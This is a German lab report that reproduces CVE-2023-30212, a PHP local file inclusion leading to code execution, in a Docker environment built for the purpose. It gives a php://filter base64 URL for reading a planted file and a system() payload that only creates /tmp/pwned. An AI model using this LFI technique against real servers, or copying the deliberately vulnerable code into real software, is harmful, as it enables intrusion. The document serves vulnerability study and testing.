cve-2023-30212

PoC für CVE-2023-30212 mit Docker

CVE-2023-30212 Umgebungseinrichtung und PoC-Bericht

📌 Überblick

Dieser Bericht dokumentiert den Aufbau einer Docker-basierten verwundbaren Webumgebung für die Schwachstelle CVE-2023-30212, die in Vulhub nicht vorhanden ist, sowie den Nachweis dieser Schwachstelle mittels PoC.

• CVE-Nummer: CVE-2023-30212
• Schwachstellenbeschreibung: Möglichkeit zur Remote-Codeausführung über PHP LFI (Local File Inclusion)
• Schwierigkeitsgrad: Fortgeschritten (Einrichtung einer Umgebung, die in Vulhub nicht vorhanden ist)

🔧 Umgebungseinrichtung

1. Dockerfile- und docker-compose-Konfiguration

• Basis-Image: php:8.1-apache
• Kopieren von vulnerable.php und malicious.php in das Verzeichnis /var/www/html
• Externer Zugriff über Port 8088

2. Beschreibung der wichtigsten Dateien

🚀 Ablauf der Schwachstellenausnutzung (PoC)

1. Container starten

docker-compose up -d

Container-Name: cve-2023-30212-cve-lfi-1

Der Apache-Server wird gestartet und ist unter http://localhost:8088 erreichbar.

2. Quellcode der bösartigen Datei per LFI einsehen Rufen Sie die folgende URL auf, um den Inhalt von malicious.php base64-kodiert anzuzeigen:

http://localhost:8088/vulnerable.php?file=php://filter/convert.base64-encode/resource=malicious.php

Die Dekodierung der Ausgabe ergibt den folgenden PHP-Code:

<?php system("touch /tmp/pwned"); ?>

3. Befehlsausführung und Ergebnisprüfung Rufen Sie die folgende URL auf, um den Befehl tatsächlich auszuführen:

http://localhost:8088/malicious.php

Nach der Ausführung des Befehls sollte die Datei /tmp/pwned erstellt werden.

docker exec -it cve-2023-30212-cve-lfi-1 ls /tmp

Wenn die Datei pwned in der Ausgabe vorhanden ist, war der Vorgang erfolgreich.

Zusammenfassung der Ergebnisse

• Erfolgreiches Anzeigen und Dekodieren des Inhalts der bösartigen Datei über die LFI-Schwachstelle auf Basis von php://filter
• Erfolgreiche Ausführung beliebiger Befehle durch Aufruf der bösartigen PHP-Datei, die die Funktion system() enthält
• PoC-Verifikation abgeschlossen, da die Datei /tmp/pwned erstellt wurde